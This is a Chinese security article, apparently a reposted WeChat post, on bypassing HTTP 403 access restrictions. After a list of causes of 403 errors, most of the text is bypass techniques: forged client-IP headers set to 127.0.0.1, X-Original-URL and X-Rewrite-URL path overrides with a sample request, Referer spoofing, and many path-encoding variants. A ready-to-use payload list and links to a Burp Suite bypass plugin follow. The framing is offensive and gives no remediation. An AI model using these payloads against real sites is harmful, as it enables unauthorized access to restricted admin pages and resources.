在瀏覽網站的時候,經常會遇到403的狀態碼,表示不允許訪問。該狀態表示服務器理解了本次請求但是拒絕執行該任務,該請求不該重發給服務器。指的是服務器端有能力處理該請求,但是拒絕授權訪問。
這就意味著這里面有東西,我們只需繞過它。
造成403的原因
先來看看造成403可能得原因有哪些?
1、你的IP被列入黑名單。
2、你在一定時間內過多地訪問此網站(一般是用采集程序),被防火墻拒絕訪問了。
3、網站域名解析到了空間,但空間未綁定此域名。
4、你的網頁腳本文件在當前目錄下沒有執行權限。
5、在不允許寫/創建文件的目錄中執行了創建/寫文件操作。
6、以http方式訪問需要ssl連接的網址。
7、瀏覽器不支持SSL 128時訪問SSL 128的連接。
8、在身份驗證的過程中輸入了錯誤的密碼。
9、DNS解析錯誤,手動更改DNS服務器地址。
10、連接的用戶過多,可以過后再試。
11、服務器繁忙,同一IP地址發送請求過多,遭到服務器智能屏蔽。
繞過方式
1)修改user-agent
有的應用為了區分爬蟲或者正常請求,會驗證user-agent,看是否瀏覽器發出的請求。
2)繞過IP限制
部門網站只允許特定的IP進行訪問,應該會驗證客戶端的IP,如果不是規定的IP,則會返回403。
可以通過下面的方式繞過:
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
3)修改Referer
網站限制了訪問來源,如果訪問來源不符合,則也會返回403
繞過方式:
設置referer為訪問網站的host
4)url覆蓋繞過
用戶可以使用X-Original-URL或X-Rewrite-URL HTTP請求標頭覆蓋請求URL中的路徑,嘗試繞過對更高級別的緩存和Web服務器的限制。
可以這樣繞過的原因:有很多的web應用,只對uri地址內容進行權限檢查,這就導致uri路徑正常訪問之后,我又覆蓋了新的地址,導致403 ByPass
請求包
GET / HTTP/1.1
X-Original-URL: /adminstration
X-Rewrite-URL: /adminstration
Host: www.abc.com
Host: 192.168.56.108
5)擴展名繞過
基于擴展名,用于繞過403受限制的目錄。
site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin…;/ => 200
site.com/admin/…;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
常用payload匯總
$1代表HOSTNAME
$2代表PATH
$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
* $1/./$2/./
$1/$2anything -H "X-Original-URL: /$2"
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/
常用工具
BurpSuite插件 403Bypasser:可以在burp擴展商店安裝
BurpSuite插件 BurpSuite_403Bypasser
項目地址:https://github.com/sting8k/BurpSuite_403Bypasser
網盤下載鏈接:https://pan.quark.cn/s/f164943c749b
-
IP
+關注
關注
5文章
1712瀏覽量
149663 -
服務器
+關注
關注
12文章
9237瀏覽量
85663 -
瀏覽器
+關注
關注
1文章
1032瀏覽量
35408
原文標題:繞過403訪問資源TIPS及工具
文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論